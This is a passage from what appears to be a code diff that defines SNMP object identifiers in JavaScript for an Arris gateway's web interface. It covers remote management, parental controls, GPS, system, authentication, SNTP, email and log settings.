Scalar("FWRemoteMgmtHttpPort","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.3",2); +FWEnableRemoteMgmt.FWRemoteMgmtHttps= new Scalar("FWRemoteMgmtHttps","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.2",2); +FWEnableRemoteMgmt.FWRemoteMgmtHttpsPort= new Scalar("FWRemoteMgmtHttpsPort","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.4",2); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedType = new Scalar("FWRemoteMgmtAllowedType", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.5", 2); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv4 = new Scalar("FWRemoteMgmtAllowedIPv4", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.6", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv6 = new Scalar("FWRemoteMgmtAllowedIPv6", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.7", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv4 = new Scalar("FWRemoteMgmtAllowedStartIPv4", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.8", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv4 = new Scalar("FWRemoteMgmtAllowedEndIPv4", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.9", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv6 = new Scalar("FWRemoteMgmtAllowedStartIPv6", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.10", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv6 = new Scalar("FWRemoteMgmtAllowedEndIPv6", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.11", 4); +FWEnableRemoteMgmt.FWRemoteMgmtTelnet = new Scalar("FWRemoteMgmtTelnet", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.12", 4); +var arFWRemoteMgmtHttp = FWEnableRemoteMgmt.FWRemoteMgmtHttp; +var arFWRemoteMgmtHttpPort = FWEnableRemoteMgmt.FWRemoteMgmtHttpPort; +var arFWRemoteMgmtHttps = FWEnableRemoteMgmt.FWRemoteMgmtHttps; +var arFWRemoteMgmtHttpsPort = FWEnableRemoteMgmt.FWRemoteMgmtHttpsPort; +var arFWRemoteMgmtAllowedType =FWEnableRemoteMgmt.FWRemoteMgmtAllowedType ; +var arFWRemoteMgmtAllowedIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv4 ; +var arFWRemoteMgmtAllowedIPv6 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv6 ; +var arFWRemoteMgmtAllowedStartIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv4 ; +var arFWRemoteMgmtAllowedEndIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv4 ; +var arFWRemoteMgmtAllowedStartIPv6 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv6 ; +var arFWRemoteMgmtAllowedEndIPv6 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv6 ; +var arFWRemoteMgmtTelnet =FWEnableRemoteMgmt.FWRemoteMgmtTelnet ; + +var CmDoc30Acess = new Container("CmDoc30Acess", "1.3.6.1.4.1.4115.1.3.4.1.2"); +CmDoc30Acess.RemoteMgmtTelnet = new Scalar("RemoteMgmtTelnet", "1.3.6.1.4.1.4115.1.3.4.1.2.2", 2); +CmDoc30Acess.RemoteMgmtSSH = new Scalar("RemoteMgmtSSH", "1.3.6.1.4.1.4115.1.3.4.1.2.10", 2); +var arRemoteMgmtTelnet =CmDoc30Acess.RemoteMgmtTelnet ; +var arRemoteMgmtSSH =CmDoc30Acess.RemoteMgmtSSH ; + + +var FWParentalControls = new Container("FWParentalControls", "1.3.6.1.4.1.4115.1.20.1.1.4.20"); +FWParentalControls.KeywordCount= new Scalar("KeywordCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.1",2); +FWParentalControls.KeywordClear= new Scalar("KeywordClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.2",2); +FWParentalControls.BlackListCount= new Scalar("BlackListCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.3",2); +FWParentalControls.BlackListClear= new Scalar("BlackListClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.4",2); +FWParentalControls.WhiteListCount= new Scalar("WhiteListCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.5",2); +FWParentalControls.WhiteListClear= new Scalar("WhiteListClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.6",2); +FWParentalControls.TrustedDeviceCount= new Scalar("TrustedDeviceCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.7",2); +FWParentalControls.TrustedDeviceClear= new Scalar("TrustedDeviceClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.8",2); +FWParentalControls.KeywordTableFreeIdx= new Scalar("KeywordTableFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.9",2); +FWParentalControls.BlackListFreeIdx= new Scalar("BlackListFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.11",2); +FWParentalControls.WhiteListFreeIdx= new Scalar("WhiteListFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.13",2); +FWParentalControls.TrustedDeviceFreeIdx= new Scalar("TrustedDeviceFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.15",2); +FWParentalControls.EnableParentalCont= new Scalar("EnableParentalCont","1.3.6.1.4.1.4115.1.20.1.1.4.20.17",2); +FWParentalControls.ManagedSitesEnabled= new Scalar("ManagedSitesEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.20.18",2); +FWParentalControls.ManagedServicesEnabled= new Scalar("ManagedServicesEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.20.19",2); +FWParentalControls.ManagedDevicesEnabled= new Scalar("ManagedDevicesEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.20.20",2); +var arKeywordCount=FWParentalControls.KeywordCount; +var arKeywordClear=FWParentalControls.KeywordClear; +var arBlackListCount=FWParentalControls.BlackListCount; +var arBlackListClear=FWParentalControls.BlackListClear; +var arWhiteListCount=FWParentalControls.WhiteListCount; +var arWhiteListClear=FWParentalControls.WhiteListClear; +var arTrustedDeviceCount=FWParentalControls.TrustedDeviceCount; +var arTrustedDeviceClear=FWParentalControls.TrustedDeviceClear; +var arKeywordTableFreeIdx=FWParentalControls.KeywordTableFreeIdx; +var arBlackListFreeIdx=FWParentalControls.BlackListFreeIdx; +var arWhiteListFreeIdx=FWParentalControls.WhiteListFreeIdx; +var arTrustedDeviceFreeIdx=FWParentalControls.TrustedDeviceFreeIdx; +var arEnableParentalCont=FWParentalControls.EnableParentalCont; +var arManagedSitesEnabled=FWParentalControls.ManagedSitesEnabled; +var arManagedServicesEnabled=FWParentalControls.ManagedServicesEnabled; +var arManagedDevicesEnabled=FWParentalControls.ManagedDevicesEnabled; + +var KeywordBlkTable = new Table("KeywordBlkTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.10"); +KeywordBlkTable.KeywordBlkIndex = new Column("KeywordBlkIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.1",2); +KeywordBlkTable.KeywordBlkWord = new Column("KeywordBlkWord","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.2",4); +KeywordBlkTable.KeywordBlkTOD = new Column("KeywordBlkTOD","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.3",2); +KeywordBlkTable.KeywordBlkStatus = new Column("KeywordBlkStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.4",2); +KeywordBlkTable.KeywordBlkStartMin = new Column("KeywordBlkStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.5",2); +KeywordBlkTable.KeywordBlkEndMin = new Column("KeywordBlkEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.6",2); +var arKeywordBlkIndex=KeywordBlkTable.KeywordBlkIndex; +var arKeywordBlkWord=KeywordBlkTable.KeywordBlkWord; +var arKeywordBlkTOD=KeywordBlkTable.KeywordBlkTOD; +var arKeywordBlkStatus=KeywordBlkTable.KeywordBlkStatus; +var arKeywordBlkStartMin=KeywordBlkTable.KeywordBlkStartMin; +var arKeywordBlkEndMin=KeywordBlkTable.KeywordBlkEndMin; + +var BlackListTable = new Table("BlackListTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.12"); +BlackListTable.BlackListIndex = new Column("BlackListIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.1",2); +BlackListTable.BlackListDomain = new Column("BlackListDomain","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.2",4); +BlackListTable.BlackListTOD = new Column("BlackListTOD","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.3",2); +BlackListTable.BlackListStatus = new Column("BlackListStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.4",2); +BlackListTable.BlackListStartMin = new Column("BlackListStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.5",2); +BlackListTable.BlackListEndMin = new Column("BlackListEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.6",2); +var arBlackListIndex=BlackListTable.BlackListIndex; +var arBlackListDomain=BlackListTable.BlackListDomain; +var arBlackListTOD=BlackListTable.BlackListTOD; +var arBlackListStatus=BlackListTable.BlackListStatus; +var arBlackListStartMin=BlackListTable.BlackListStartMin; +var arBlackListEndMin=BlackListTable.BlackListEndMin; + +var WhiteListTable = new Table("WhiteListTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.14"); +WhiteListTable.WhiteListIndex = new Column("WhiteListIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.1",2); +WhiteListTable.WhiteListDomain = new Column("WhiteListDomain","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.2",4); +WhiteListTable.WhiteListTOD = new Column("WhiteListTOD","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.3",2); +WhiteListTable.WhiteListStatus = new Column("WhiteListStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.4",2); +var arWhiteListIndex=WhiteListTable.WhiteListIndex; +var arWhiteListDomain=WhiteListTable.WhiteListDomain; +var arWhiteListTOD=WhiteListTable.WhiteListTOD; +var arWhiteListStatus=WhiteListTable.WhiteListStatus; + +var TrustedDeviceTable = new Table("TrustedDeviceTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.16"); +TrustedDeviceTable.TrustedDeviceIndex = new Column("TrustedDeviceIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.1",2); +TrustedDeviceTable.TrustedDeviceMAC = new Column("TrustedDeviceMAC","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.2",4, 1); +TrustedDeviceTable.TrustedDeviceStatus = new Column("TrustedDeviceStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.3",2); +TrustedDeviceTable.TrustedDeviceName = new Column("TrustedDeviceName","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.4",4); +TrustedDeviceTable.TrustedDeviceAddrType = new Column("TrustedDeviceAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.5",2); +TrustedDeviceTable.TrustedDeviceAddr = new Column("TrustedDeviceAddr","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.6",4, 1); +var arTrustedDeviceIndex=TrustedDeviceTable.TrustedDeviceIndex; +var arTrustedDeviceMAC=TrustedDeviceTable.TrustedDeviceMAC; +var arTrustedDeviceStatus=TrustedDeviceTable.TrustedDeviceStatus; +var arTrustedDeviceName=TrustedDeviceTable.TrustedDeviceName; +var arTrustedDeviceAddrType=TrustedDeviceTable.TrustedDeviceAddrType; +var arTrustedDeviceAddr=TrustedDeviceTable.TrustedDeviceAddr; + +var TrustedDeviceManagedServicesTable = new Table("TrustedDeviceManagedServicesTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.21"); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesIndex = new Column("TrustedDeviceManagedServicesIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.1",2); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesMAC = new Column("TrustedDeviceManagedServicesMAC","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.2",4, 1); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesStatus = new Column("TrustedDeviceManagedServicesStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.3",2); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesName = new Column("TrustedDeviceManagedServicesName","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.4",4); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddrType = new Column("TrustedDeviceManagedServicesAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.5",2); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddr = new Column("TrustedDeviceManagedServicesAddr","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.6",4, 1); +var arTrustedDeviceManagedServicesIndex=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesIndex; +var arTrustedDeviceManagedServicesMAC=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesMAC; +var arTrustedDeviceManagedServicesStatus=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesStatus; +var arTrustedDeviceManagedServicesName=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesName; +var arTrustedDeviceManagedServicesAddrType=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddrType; +var arTrustedDeviceManagedServicesAddr=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddr; + +// OG1600 GPS support +var GpsCfg = new Container("GpsCfg", "1.3.6.1.4.1.4115.12"); +GpsCfg.GpsScanOnBoot= new Scalar("GpsScanOnBoot","1.3.6.1.4.1.4115.12.1",2); +GpsCfg.GpsScanPeriodically= new Scalar("GpsScanPeriodically","1.3.6.1.4.1.4115.12.2",2); +GpsCfg.GpsPeriodicInterval= new Scalar("GpsPeriodicInterval","1.3.6.1.4.1.4115.12.3",66); +GpsCfg.GpsPeriodicTime= new Scalar("GpsPeriodicTime","1.3.6.1.4.1.4115.12.4",4); +GpsCfg.GpsPowerDownAfterSuccessfulScan= new Scalar("GpsPowerDownAfterSuccessfulScan","1.3.6.1.4.1.4115.12.5",2); +GpsCfg.GpsScanTimeout= new Scalar("GpsScanTimeout","1.3.6.1.4.1.4115.12.6",66); +GpsCfg.GpsScanStatus= new Scalar("GpsScanStatus","1.3.6.1.4.1.4115.12.7",66); +GpsCfg.GpsErrorDetails= new Scalar("GpsErrorDetails","1.3.6.1.4.1.4115.12.8",4); +GpsCfg.GpsLastScanTime= new Scalar("GpsLastScanTime","1.3.6.1.4.1.4115.12.9",4); +GpsCfg.GpsLastSuccessfulScanTime= new Scalar("GpsLastSuccessfulScanTime","1.3.6.1.4.1.4115.12.10",4); +GpsCfg.GpsLockedLatitude= new Scalar("GpsLockedLatitude","1.3.6.1.4.1.4115.12.11",4); +GpsCfg.GpsLockedLongitude= new Scalar("GpsLockedLongitude","1.3.6.1.4.1.4115.12.12",4); +GpsCfg.GpsNumberOfSatellites= new Scalar("GpsNumberOfSatellites","1.3.6.1.4.1.4115.12.13",66); +GpsCfg.GpsReset= new Scalar("GpsReset","1.3.6.1.4.1.4115.12.14",2); +GpsCfg.GpsSuccessfulScanSinceBootup= new Scalar("GpsSuccessfulScanSinceBootup","1.3.6.1.4.1.4115.12.15",2); + +var arGpsScanOnBoot=GpsCfg.GpsScanOnBoot; +var arGpsScanPeriodically=GpsCfg.GpsScanPeriodically; +var arGpsPeriodicInterval=GpsCfg.GpsPeriodicInterval; +var arGpsPeriodicTime=GpsCfg.GpsPeriodicTime; +var arGpsPowerDownAfterSuccessfulScan=GpsCfg.GpsPowerDownAfterSuccessfulScan; +var arGpsScanTimeout=GpsCfg.GpsScanTimeout; +var arGpsScanStatus=GpsCfg.GpsScanStatus; +var arGpsErrorDetails=GpsCfg.GpsErrorDetails; +var arGpsLastScanTime=GpsCfg.GpsLastScanTime; +var arGpsLastSuccessfulScanTime=GpsCfg.GpsLastSuccessfulScanTime; +var arGpsLockedLatitude=GpsCfg.GpsLockedLatitude; +var arGpsLockedLongitude=GpsCfg.GpsLockedLongitude; +var arGpsNumberOfSatellites=GpsCfg.GpsNumberOfSatellites; +var arGpsReset=GpsCfg.GpsReset; +var arGpsSuccessfulScanSinceBootup=GpsCfg.GpsSuccessfulScanSinceBootup; + +var SysCfg = new Container("SysCfg", "1.3.6.1.4.1.4115.1.20.1.1.5"); +SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4); +SysCfg.AdminTimeout= new Scalar("AdminTimeout","1.3.6.1.4.1.4115.1.20.1.1.5.2",66); +SysCfg.TimeZoneUTCOffset= new Scalar("TimeZoneUTCOffset","1.3.6.1.4.1.4115.1.20.1.1.5.3",2); +SysCfg.Reboot= new Scalar("Reboot","1.3.6.1.4.1.4115.1.20.1.1.5.4",2); +SysCfg.Defaults= new Scalar("Defaults","1.3.6.1.4.1.4115.1.20.1.1.5.5",2); +SysCfg.Language= new Scalar("Language","1.3.6.1.4.1.4115.1.20.1.1.5.6",4); +SysCfg.Name= new Scalar("Name","1.3.6.1.4.1.4115.1.20.1.1.5.7",4); +SysCfg.SerialNumber= new Scalar("SerialNumber","1.3.6.1.4.1.4115.1.20.1.1.5.8",4); +SysCfg.BootCodeVersion= new Scalar("BootCodeVersion","1.3.6.1.4.1.4115.1.20.1.1.5.9",4); +SysCfg.HardwareVersion= new Scalar("HardwareVersion","1.3.6.1.4.1.4115.1.20.1.1.5.10",4); +SysCfg.FirmwareVersion= new Scalar("FirmwareVersion","1.3.6.1.4.1.4115.1.20.1.1.5.11",4); +SysCfg.LogLevel= new Scalar("LogLevel","1.3.6.1.4.1.4115.1.20.1.1.5.12",2); +SysCfg.CustomSettings= new Scalar("CustomSettings","1.3.6.1.4.1.4115.1.20.1.1.5.13",4,1); +SysCfg.CustomID= new Scalar("CustomID","1.3.6.1.4.1.4115.1.20.1.1.5.14",2); +SysCfg.CurrentTime= new Scalar("CurrentTime","1.3.6.1.4.1.4115.1.20.1.1.5.15",4,1); +SysCfg.TACACSAddr= new Scalar("TACACSAddr","1.3.6.1.4.1.4115.1.20.1.1.5.20",4,1); +SysCfg.TACACSPort= new Scalar("TACACSPort","1.3.6.1.4.1.4115.1.20.1.1.5.21",2); +SysCfg.TACACSSecretKey= new Scalar("TACACSSecretKey","1.3.6.1.4.1.4115.1.20.1.1.5.22",4,1); +SysCfg.XmlProvisioningFile= new Scalar("XmlProvisioningFile","1.3.6.1.4.1.4115.1.20.1.1.5.23",4); +SysCfg.XmlProvisioningStatus= new Scalar("XmlProvisioningStatus","1.3.6.1.4.1.4115.1.20.1.1.5.24",2); +SysCfg.BlockNonArrisDevices= new Scalar("BlockNonArrisDevices","1.3.6.1.4.1.4115.1.20.1.1.5.26",2); +SysCfg.DHCPLogLevel= new Scalar("DHCPLogLevel","1.3.6.1.4.1.4115.1.20.1.1.5.27",2); +SysCfg.TechnicianName= new Scalar("TechnicianName","1.3.6.1.4.1.4115.1.20.1.1.5.28",4); +SysCfg.EnableLanEtherPrivateWanBlock= new Scalar("EnableLanEtherPrivateWanBlock","1.3.6.1.4.1.4115.1.20.1.1.5.29",2); +SysCfg.TACACSIPAddrType= new Scalar("TACACSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.5.30",2); +SysCfg.TACACSIPAddr= new Scalar("TACACSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.5.31",4,1); +SysCfg.EnabledInterfaces= new Scalar("EnabledInterfaces","1.3.6.1.4.1.4115.1.20.1.1.5.32",2); +SysCfg.EnabledInterfacesString= new Scalar("EnabledInterfacesString","1.3.6.1.4.1.4115.1.20.1.1.5.33",4); +SysCfg.InboundTrafficLogEnable= new Scalar("InboundTrafficLogEnable","1.3.6.1.4.1.4115.1.20.1.1.5.34",2); +SysCfg.NATPBypassEnable= new Scalar("NATPBypassEnable","1.3.6.1.4.1.4115.1.20.1.1.5.35",2); +SysCfg.NATDebug= new Scalar("NATDebug","1.3.6.1.4.1.4115.1.20.1.1.5.36",2); +SysCfg.DisableResetButton= new Scalar("DisableResetButton","1.3.6.1.4.1.4115.1.20.1.1.5.37",2); +SysCfg.DHCPOption43Sub2= new Scalar("DHCPOption43Sub2","1.3.6.1.4.1.4115.1.20.1.1.5.38",4,1); +SysCfg.DHCPOption43Sub3= new Scalar("DHCPOption43Sub3","1.3.6.1.4.1.4115.1.20.1.1.5.39",4,1); +SysCfg.ESTBDHCPOption43Sub2= new Scalar("ESTBDHCPOption43Sub2","1.3.6.1.4.1.4115.1.20.1.1.5.40",4,1); +SysCfg.ESTBDHCPOption43Sub3= new Scalar("ESTBDHCPOption43Sub3","1.3.6.1.4.1.4115.1.20.1.1.5.41",4,1); +SysCfg.ClientTrackingEnable= new Scalar("ClientTrackingEnable","1.3.6.1.4.1.4115.1.20.1.1.5.43",2); +SysCfg.SystemFlags= new Scalar("SystemFlags","1.3.6.1.4.1.4115.1.20.1.1.5.44",2); +SysCfg.CpuSpeed= new Scalar("CpuSpeed","1.3.6.1.4.1.4115.1.20.1.1.5.64",2); +SysCfg.FlashSize= new Scalar("FlashSize","1.3.6.1.4.1.4115.1.20.1.1.5.52",2); +SysCfg.RamSize= new Scalar("RamSize","1.3.6.1.4.1.4115.1.20.1.1.5.53",2); +SysCfg.SaveCurrentConfigFile= new Scalar("SaveCurrentConfigFile","1.3.6.1.4.1.4115.1.20.1.1.5.57",2); +SysCfg.RestoreCurrentConfigFile= new Scalar("RestoreCurrentConfigFile","1.3.6.1.4.1.4115.1.20.1.1.5.58",2); +SysCfg.FlashAvailSize= new Scalar("FlashAvailSize","1.3.6.1.4.1.4115.1.20.1.1.5.60",2); +SysCfg.RamAvailSize= new Scalar("RamAvailSize","1.3.6.1.4.1.4115.1.20.1.1.5.61",2); +var arAdminPassword=SysCfg.AdminPassword; +var arAdminTimeout=SysCfg.AdminTimeout; +var arTimeZoneUTCOffset=SysCfg.TimeZoneUTCOffset; +var arReboot=SysCfg.Reboot; +var arDefaults=SysCfg.Defaults; +var arLanguage=SysCfg.Language; +var arName=SysCfg.Name; +var arSerialNumber=SysCfg.SerialNumber; +var arBootCodeVersion=SysCfg.BootCodeVersion; +var arHardwareVersion=SysCfg.HardwareVersion; +var arFirmwareVersion=SysCfg.FirmwareVersion; +var arLogLevel=SysCfg.LogLevel; +var arCustomSettings=SysCfg.CustomSettings; +var arCustomID=SysCfg.CustomID; +var arCurrentTime=SysCfg.CurrentTime; +var arTACACSAddr=SysCfg.TACACSAddr; +var arTACACSPort=SysCfg.TACACSPort; +var arTACACSSecretKey=SysCfg.TACACSSecretKey; +var arXmlProvisioningFile=SysCfg.XmlProvisioningFile; +var arXmlProvisioningStatus=SysCfg.XmlProvisioningStatus; +var arBlockNonArrisDevices=SysCfg.BlockNonArrisDevices; +var arDHCPLogLevel=SysCfg.DHCPLogLevel; +var arTechnicianName=SysCfg.TechnicianName; +var arEnableLanEtherPrivateWanBlock=SysCfg.EnableLanEtherPrivateWanBlock; +var arTACACSIPAddrType=SysCfg.TACACSIPAddrType; +var arTACACSIPAddr=SysCfg.TACACSIPAddr; +var arEnabledInterfaces=SysCfg.EnabledInterfaces; +var arEnabledInterfacesString=SysCfg.EnabledInterfacesString; +var arInboundTrafficLogEnable=SysCfg.InboundTrafficLogEnable; +var arNATPBypassEnable=SysCfg.NATPBypassEnable; +var arNATDebug=SysCfg.NATDebug; +var arDisableResetButton=SysCfg.DisableResetButton; +var arDHCPOption43Sub2=SysCfg.DHCPOption43Sub2; +var arDHCPOption43Sub3=SysCfg.DHCPOption43Sub3; +var arESTBDHCPOption43Sub2=SysCfg.ESTBDHCPOption43Sub2; +var arESTBDHCPOption43Sub3=SysCfg.ESTBDHCPOption43Sub3; +var arClientTrackingEnable=SysCfg.ClientTrackingEnable; +var arSystemFlags=SysCfg.SystemFlags; +var arCpuSpeed=SysCfg.CpuSpeed; +var arFlashSize=SysCfg.FlashSize; +var arRamSize=SysCfg.RamSize; +var arSaveCurrentConfigFile=SysCfg.SaveCurrentConfigFile; +var arRestoreCurrentConfigFile=SysCfg.RestoreCurrentConfigFile; +var arFlashAvailSize=SysCfg.FlashAvailSize; +var arRamAvailSize=SysCfg.RamAvailSize; + +var AuthTable = new Table("AuthTable", "1.3.6.1.4.1.4115.1.20.1.1.5.16"); +AuthTable.AuthIndex = new Column("AuthIndex","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.1",66); +AuthTable.AuthUserName = new Column("AuthUserName","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.2",4); +AuthTable.AuthPassword = new Column("AuthPassword","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.3",4); +AuthTable.AuthType = new Column("AuthType","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.4",4,1); +var arAuthIndex=AuthTable.AuthIndex; +var arAuthUserName=AuthTable.AuthUserName; +var arAuthPassword=AuthTable.AuthPassword; +var arAuthType=AuthTable.AuthType; + +var SNTPSettings = new Container("SNTPSettings", "1.3.6.1.4.1.4115.1.20.1.1.5.17"); +SNTPSettings.EnableSNTP= new Scalar("EnableSNTP","1.3.6.1.4.1.4115.1.20.1.1.5.17.1",2); +SNTPSettings.ApplySNTPSettings= new Scalar("ApplySNTPSettings","1.3.6.1.4.1.4115.1.20.1.1.5.17.2",2); +SNTPSettings.SNTPTableFreeIdx= new Scalar("SNTPTableFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.5.17.3",2); +var arEnableSNTP=SNTPSettings.EnableSNTP; +var arApplySNTPSettings=SNTPSettings.ApplySNTPSettings; +var arSNTPTableFreeIdx=SNTPSettings.SNTPTableFreeIdx; + +var SNTPServerTable = new Table("SNTPServerTable", "1.3.6.1.4.1.4115.1.20.1.1.5.17.4"); +SNTPServerTable.SNTPServerIndex = new Column("SNTPServerIndex","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.1",2); +SNTPServerTable.SNTPServerAddrType = new Column("SNTPServerAddrType","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.2",2); +SNTPServerTable.SNTPServerAddr = new Column("SNTPServerAddr","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.3",4,1); +SNTPServerTable.SNTPServerName = new Column("SNTPServerName","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.4",4); +SNTPServerTable.SNTPServerStatus = new Column("SNTPServerStatus","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.5",2); +var arSNTPServerIndex=SNTPServerTable.SNTPServerIndex; +var arSNTPServerAddrType=SNTPServerTable.SNTPServerAddrType; +var arSNTPServerAddr=SNTPServerTable.SNTPServerAddr; +var arSNTPServerName=SNTPServerTable.SNTPServerName; +var arSNTPServerStatus=SNTPServerTable.SNTPServerStatus; + +var EmailSettings = new Container("EmailSettings", "1.3.6.1.4.1.4115.1.20.1.1.5.18"); +EmailSettings.EmailServerName= new Scalar("EmailServerName","1.3.6.1.4.1.4115.1.20.1.1.5.18.1",4); +EmailSettings.EmailServerUser= new Scalar("EmailServerUser","1.3.6.1.4.1.4115.1.20.1.1.5.18.2",4); +EmailSettings.EmailServerPW= new Scalar("EmailServerPW","1.3.6.1.4.1.4115.1.20.1.1.5.18.3",4); +EmailSettings.EmailAddress= new Scalar("EmailAddress","1.3.6.1.4.1.4115.1.20.1.1.5.18.4",4,1); +EmailSettings.EnableLogEmail= new Scalar("EnableLogEmail","1.3.6.1.4.1.4115.1.20.1.1.5.18.5",2); +EmailSettings.EmailApplySettings= new Scalar("EmailApplySettings","1.3.6.1.4.1.4115.1.20.1.1.5.18.6",2); +// scm x2 lines +EmailSettings.EmailSenderAddress = new Scalar("EmailSenderAddress", "1.3.6.1.4.1.4115.1.20.1.1.5.18.8",4); +var arEmailSenderAddress =EmailSettings.EmailSenderAddress ; + +var arEmailServerName=EmailSettings.EmailServerName; +var arEmailServerUser=EmailSettings.EmailServerUser; +var arEmailServerPW=EmailSettings.EmailServerPW; +var arEmailAddress=EmailSettings.EmailAddress; +var arEnableLogEmail=EmailSettings.EnableLogEmail; +var arEmailApplySettings=EmailSettings.EmailApplySettings; + +// scm new container. +var EmailNotifys = new Container("EmailNotifys", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7"); +EmailNotifys.EmailNotifyTypeFW = new Scalar("EmailNotifyTypeFW", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.1",2); +EmailNotifys.EmailNotifyTypePC = new Scalar("EmailNotifyTypePC", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.2",2); +EmailNotifys.EmailNotifyTypeAlert = new Scalar("EmailNotifyTypeAlert", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.3",2); +EmailNotifys.EmailNotifyTypeWarning = new Scalar("EmailNotifyTypeWarning", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.4",2); +var arEmailNotifyTypeFW =EmailNotifys.EmailNotifyTypeFW ; +var arEmailNotifyTypePC =EmailNotifys.EmailNotifyTypePC ; +var arEmailNotifyTypeAlert =EmailNotifys.EmailNotifyTypeAlert ; +var arEmailNotifyTypeWarning =EmailNotifys.EmailNotifyTypeWarning ; + + +var LogSettings = new Container("LogSettings", "1.3.6.1.4.1.4115.1.20.1.1.5.19"); +LogSettings.ClearLogs= new Scalar("ClearLogs","1.3.6.1.4.1.4115.1.20.1.1.5.19.3",2); 